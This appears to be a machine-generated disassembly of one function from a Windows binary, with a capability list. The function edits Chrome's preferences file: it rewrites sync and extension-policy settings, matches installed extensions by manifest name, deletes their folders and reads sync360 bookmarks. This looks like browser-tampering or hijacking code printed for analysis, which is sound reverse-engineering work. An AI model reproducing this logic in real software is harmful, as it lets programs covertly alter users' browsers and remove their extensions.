Function at 0x1001ea80
Capabilities:
Check if file exists
Copy file
Delete file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d978c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xcb0
mov eax, dword [0x100fb074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xca8], edx
mov esi, ecx
mov dword [ebp - 0xc24], esi
mov eax, dword [ebx + 8]
mov dword [ebp - 0xc74], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0xca0], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0xc1c], eax
xor eax, eax
push esi
mov dword [ebp - 0xc30], eax
mov dword [ebp - 0xc3c], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10020be6
push esi
push str._DEBUGINFO__SETCRX__Chrome_path___s_n
call fcn.100043d0
add esp, 8
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0xc10]
xor edi, edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
push eax
cmovne edi, dword [ebp - 0xbf0]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0x64
jbe 0x10020be2
push 0x182
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
push 0x100ee020
push esi
call fcn.100bed8c
add esp, 0x10
mov dword [ebp - 0xc60], eax
test eax, eax
je 0x10020be2
lea esi, [edi + 1]
push esi
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0xc20], eax
push esi
push 0
push eax
call fcn.100b7060
mov esi, dword [ebp - 0xc60]
add esp, 0xc
push esi
push edi
mov edi, dword [ebp - 0xc20]
push 1
push edi
call fcn.100bfba1
push esi
call fcn.100bf0a9
add esp, 0x14
push 0x18d
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
mov ecx, edi
add esp, 8
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ebd0
sub ecx, edx
cmp ecx, 1
jb 0x1001ec30
mov ecx, edi
mov esi, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ebe5
sub ecx, edx
cmp ecx, 1
jb 0x1001ec30
mov edi, 1
sub edi, esi
nop word [eax + eax]
push 1
push 0x100edcbc
push esi
call fcn.100bdd68
mov ecx, dword [ebp - 0xc20]
add esp, 0xc
lea edx, [ecx + 1]
test eax, eax
je 0x1001ec50
inc esi
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ec20
sub ecx, edx
lea eax, [edi + esi]
cmp eax, ecx
jbe 0x1001ec00
push dword [ebp - 0xc20]
xor edi, edi
call fcn.100bd905
mov esi, dword [ebp - 0xc24]
add esp, 4
jmp 0x10020be9
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ec50
sub ecx, edx
cmp ecx, 1
jb 0x1001ec30
mov esi, dword [ebp - 0xc20]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ec70
sub ecx, edx
cmp ecx, 1
jb 0x1001ec30
nop
push 1
push 0x100edcc0
push esi
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1001ecb5
mov ecx, dword [ebp - 0xc20]
inc esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001eca0
sub ecx, edx
lea eax, [esi + edi]
cmp eax, ecx
jbe 0x1001ec80
jmp 0x1001ec30
push 0x190
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
push 0x74
call fcn.100b47e3
add esp, 0xc
mov dword [ebp - 0xca4], eax
lea ecx, [ebp - 0xc18]
mov dword [ebp - 4], 0
push ecx
mov ecx, eax
mov dword [ebp - 0xc18], 0x100
call fcn.1000b7d0
and dword [ebp - 0xc50], 0xfffffe00
mov edi, eax
mov dword [ebp - 0xc60], edi
mov dword [ebp - 0xc4c], 0
mov dword [ebp - 0xc48], 0
mov dword [ebp - 0xc44], 0
mov dword [ebp - 4], 2
mov dword [ebp - method.Json::FastWriter.virtual_0], vtable.Json::FastWriter.0
mov dword [ebp - 0xa8c], 0
mov dword [ebp - 0xa88], 0xf
mov byte [ebp - 0xa9c], 0
mov word [ebp - 0xa84], 0
mov byte [ebp - 0xa82], 0
push 0x194
push str._DEBUGINFO__SETCRX__line_d__n
mov byte [ebp - 4], 3
call fcn.100043d0
mov esi, dword [ebp - 0xc20]
push 0x100edcbc
push esi
call fcn.100b6560
add esp, 0x10
test eax, eax
je 0x1001edda
push 0x100edcbc
push esi
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0xa80]
push eax
call fcn.10001670
mov eax, 1
mov byte [ebp - 4], 4
push eax
mov dword [ebp - 0xc30], eax
mov ecx, edi
mov dword [ebp - 0xc3c], eax
lea eax, [ebp - 0xc58]
push eax
lea eax, [ebp - 0xa80]
push eax
call fcn.1000b8f0
mov byte [ebp - 0xc11], 1
test al, al
jne 0x1001ede1
mov byte [ebp - 0xc11], 0
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0xc30]
test al, 1
je 0x1001ee35
mov edx, dword [ebp - 0xa6c]
and eax, 0xfffffffe
mov dword [ebp - 0xc30], eax
cmp edx, 0x10
jb 0x1001ee35
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001ee2b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c7e
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0xc11], 0
je 0x10020b98
push 0x198
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
mov ecx, dword [ebp - 0xca0]
call fcn.100db5e0
mov esi, eax
mov ecx, esi
mov dword [ebp - 0xca4], esi
call fcn.100db720
mov ecx, esi
mov dword [ebp - 0xc9c], eax
call fcn.100db810
mov edx, dword [ebp - 0xc1c]
mov ecx, esi
mov dword [ebp - 0xc64], eax
call fcn.1001acc0
mov edx, dword [ebp - 0xca0]
mov ecx, esi
mov dword [ebp - 0xc3c], eax
call fcn.1001af30
push 0x19f
push str._DEBUGINFO__SETCRX__line_d__n
mov dword [ebp - 0xc28], eax
call fcn.100043d0
push 0x104
lea eax, [ebp - 0x438]
push 0
push eax
call fcn.100b7060
add esp, 0x1c
lea eax, [ebp - 0x120]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
push 0x1a6
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
push 0x104
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.100b7060
xor ecx, ecx
mov dword [ebp - 0xc2c], 0
xor edi, edi
mov dword [ebp - 0xc18], ecx
add esp, 0x14
mov dword [ebp - 0xc70], ecx
mov dword [ebp - 0xc78], edi
mov dword [ebp - 0xc6c], edi
mov dword [ebp - 0xc68], ecx
push 0x1af
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xa80]
push edi
call fcn.10014ec0
push 0x100ee6a0
push str.Advanced
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 6
call fcn.10015d00
push 0x100ee6b4
push str.SyncPrefsEnabled
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
push edi
lea ecx, [ebp - 0xa80]
call fcn.10014ec0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 7
call fcn.10015d00
push 0x100ee1ee
push str.policy
mov ecx, eax
call fcn.10015d00
push 0x100ee1f6
push str.switch
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
mov byte [ebp - 4], 5
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
push 0x1b5
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001f4c3
push 0x1b8
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xc8c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
mov dword [ebp - 0xc7c], edi
lea eax, [ebp - 0xc70]
cmp eax, esi
je 0x1001f0da
mov ecx, eax
call fcn.1000a810
mov ecx, dword [esi]
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov esi, ecx
mov dword [ebp - 0xc18], ecx
mov dword [ebp - 0xc70], ecx
mov dword [ebp - 0xc78], edi
mov dword [ebp - 0xc6c], edi
mov dword [ebp - 0xc68], eax
mov dword [ebp - 0xc7c], esi
jmp 0x1001f0dc
xor esi, esi
lea ecx, [ebp - 0xc8c]
call fcn.1000a810
push 0x1ba
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
add esp, 8
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xc34], eax
je 0x1001f4bd
xor edi, edi
mov dword [ebp - 0xc1c], edi
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x1001f140
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
push 0x1c1
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f198
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x1001f49b
push 0x1c4
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
mov ecx, dword [ebp - 0xc3c]
call fcn.1001a080
mov edi, eax
lea eax, [ebp - 0x438]
push 0x104
push 0
push eax
mov dword [ebp - 0xc5c], edi
call fcn.100b7060
add esp, 0x14
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f250
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x1001f2aa
mov esi, dword [esi]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x1001f2b0
mov edx, dword [ebp - 0xa6c]
sub esi, ecx
cmp edx, 0x10
jb 0x1001f2f3
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001f2e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c7e
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0xc58]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0xc38], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f338
sub ecx, dword [ebp - 0xc38]
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1001f394
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x438]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0xa6c]
add esp, 0xc
cmp edx, 0x10
jb 0x1001f3df
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001f3d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c7e
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x1ca
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
mov edx, edi
add esp, 8
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001f3f6
sub edx, ecx
lea ecx, [ebp - 0x438]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f408
sub ecx, esi
cmp edx, ecx
jb 0x1001f48c
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0xc38], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x1001f422
sub edx, dword [ebp - 0xc38]
cmp ecx, edx
ja 0x1001f48c
push ecx
lea eax, [ebp - 0x438]
push eax
lea eax, [esi + edi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1001f94f
lea ecx, [ebp - 0x438]
inc esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f460
sub ecx, edx
mov edx, edi
lea edi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x1001f470
sub edx, edi
lea eax, [ecx + esi]
mov edi, dword [ebp - 0xc5c]
cmp eax, edx
jbe 0x1001f433
mov edi, dword [ebp - 0xc5c]
push edi
call fcn.100bd905
mov edi, dword [ebp - 0xc1c]
add esp, 4
mov esi, dword [ebp - 0xc7c]
inc edi
add esi, 0x18
mov dword [ebp - 0xc1c], edi
mov dword [ebp - 0xc7c], esi
cmp edi, dword [ebp - 0xc34]
jb 0x1001f120
mov edi, dword [ebp - 0xc78]
push dword [ebp - 0xc2c]
push str._DEBUGINFO__SETCRX__Chrome_bExit___d_n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001fc3d
push 0x1f2
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xc8c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
lea eax, [ebp - 0xc70]
cmp eax, esi
je 0x1001f593
mov ecx, eax
call fcn.1000a810
mov ecx, dword [esi]
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [ebp - 0xc18], ecx
mov dword [ebp - 0xc70], ecx
mov dword [ebp - 0xc6c], edi
mov dword [ebp - 0xc68], eax
mov dword [esi + 8], 0
lea ecx, [ebp - 0xc8c]
call fcn.1000a810
mov esi, dword [ebp - 0xc18]
mov eax, 0x2aaaaaab
sub edi, esi
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xc38], eax
je 0x1001fc3d
push 0x1f6
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
mov dword [ebp - 0xc1c], 0
nop
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x1001f600
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
push 0x1fb
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f658
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x1001fc16
push 0x1fe
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
mov ecx, dword [ebp - 0xc3c]
call fcn.1001a080
mov edi, eax
lea eax, [ebp - 0x438]
push 0x104
push 0
push eax
mov dword [ebp - 0xc2c], edi
call fcn.100b7060
add esp, 0x14
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f710
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x1001f76a
mov esi, dword [esi]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x1001f770
mov edx, dword [ebp - 0xa6c]
sub esi, ecx
cmp edx, 0x10
jb 0x1001f7b3
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001f7a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c7e
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0xc58]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0xc34], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f7f8
sub ecx, dword [ebp - 0xc34]
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1001f854
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x438]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0xa6c]
add esp, 0xc
cmp edx, 0x10
jb 0x1001f89f
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001f895
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c7e
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x204
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
mov edx, edi
add esp, 8
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001f8b6
sub edx, ecx
lea ecx, [ebp - 0x438]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f8c8
sub ecx, esi
cmp edx, ecx
jb 0x1001fbec
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0xc34], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x1001f8e6
sub edx, dword [ebp - 0xc34]
cmp ecx, edx
ja 0x1001fbec
nop dword [eax + eax]
push ecx
lea eax, [ebp - 0x438]
push eax
lea eax, [esi + edi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1001fa3a
lea ecx, [ebp - 0x438]
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001f926
sub ecx, edx
mov edx, edi
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001f934
sub edx, edi
lea eax, [ecx + esi]
mov edi, dword [ebp - 0xc2c]
cmp eax, edx
jbe 0x1001f900
jmp 0x1001fbe6
push 0x1cd
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
cmp dword [ebx + 0x14], 0
je 0x1001fa2b
push 0x104
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x228]
push dword [ebp - 0xc24]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x228]
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001f9b0
mov eax, dword [str.Extensions_]
lea edx, [ebp - 0x120]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
mov byte [ecx + 0xc], al
mov al, byte [edx]
inc edx
test al, al
jne 0x1001f9e1
lea edi, [ebp - 0x228]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001f9f1
mov ecx, edx
lea eax, [ebp - 0x228]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1001f486
mov dword [ebp - 0xc2c], 1
jmp 0x1001f486
mov dword [ebp - 0xc2c], 1
jmp 0x1001f48c
push 0x207
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0xc58]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
push ecx
lea ecx, [ebp - 0xab8]
push ecx
mov ecx, eax
call fcn.10016110
lea ecx, [ebp - 0xab8]
call fcn.10015080
push 0x209
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
cmp dword [ebx + 0x14], 0
je 0x1001fbec
push 0x20c
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
push 0x104
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.100b7060
add esp, 0x14
push 0x20e
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
push dword [ebp - 0xc24]
lea eax, [ebp - 0x228]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0x14
push 0x210
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x212
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
lea ecx, [ebp - 0x228]
add esp, 8
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1001fb34
mov eax, dword [str.Extensions_]
mov dword [ecx], eax
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
push 0x214
push str._DEBUGINFO__SETCRX__line_d__n
mov byte [ecx + 0xc], al
call fcn.100043d0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x228]
push eax
push 0x215
push str._DEBUGINFO__SETCRX__line_d_pluginpath_s_id_find_s__n
call fcn.100043d0
lea edx, [ebp - 0x120]
add esp, 0x18
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x1001fb94
lea edi, [ebp - 0x228]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001fba4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x217
rep movsb byte es:[edi], byte [esi]
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
lea ecx, [ebp - 0x228]
call fcn.1001a680
push 0x219
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 0x10
mov edi, dword [ebp - 0xc2c]
push 0x21d
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
push edi
call fcn.100bd905
add esp, 0xc
push 0x21f
push str._DEBUGINFO__SETCRX__line_d__n
call fcn.100043d0
add esp, 8
mov esi, dword [ebp - 0xc1c]
add dword [ebp - 0xc18], 0x18
inc esi
mov dword [ebp - 0xc1c], esi
cmp esi, dword [ebp - 0xc38]
jae 0x1001fc3d
mov esi, dword [ebp - 0xc18]
jmp 0x1001f5e0
push str._DEBUGINFO__SETCRX__unstall___n
call fcn.100043d0
add esp, 4
lea eax, [ebp - 0x330]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0xc58]
push 0x100ee717
push str.sync360
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001ff1e
push 0x100ee717
push str.sync360
lea ecx, [ebp - 0xc58]
call fcn.10015d00
push 0x100ee720
push str.services
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001ff1e
push 0x100ee717
push str.sync360
lea ecx, [ebp - 0xc58]
call fcn.10015d00
push 0x100ee720
push str.services
mov ecx, eax
call fcn.10015d00
push 0x100ee727
push 0x100ee724
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1001ff1e
push 0x100ee717
push str.sync360
lea ecx, [ebp - 0xc58]
call fcn.10015d00
push 0x100ee720
push str.services
mov ecx, eax
call fcn.10015d00
push 0x100ee727
push 0x100ee724
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x1001fd3d
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x330]
push 0x104
push eax
call fcn.100c3c1c
mov edx, dword [ebp - 0xa6c]
add esp, 0xc
cmp edx, 0x10
jb 0x1001fd8c
mov ecx, dword [ebp - 0xa80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001fd82
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10020c83
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0x330]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001fd95
sub ecx, edx
je 0x1001ff1e
push 0
lea ecx, [ebp - 0xa80]
call fcn.10014ec0
push 0x100ee717
push str.sync360
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 8
call fcn.10015d00
lea ecx, [ebp - 0x330]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001fdd5
sub ecx, esi
lea eax, [ebp - 0x330]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x330]
push eax
call fcn.10015d00
push 0x100ee731
push str.Bookmarks
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0xa80]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0xa80]
call fcn.10015080
push 0
lea ecx, [ebp - 0xa80]
call fcn.10014ec0
push 0x100ee717
push str.sync360
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 9
call fcn.10015d00
lea ecx, [ebp - 0x330]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001fe50
sub ecx, esi
lea eax, [ebp - 0x330]
add eax, ecx
mov ecx, edx
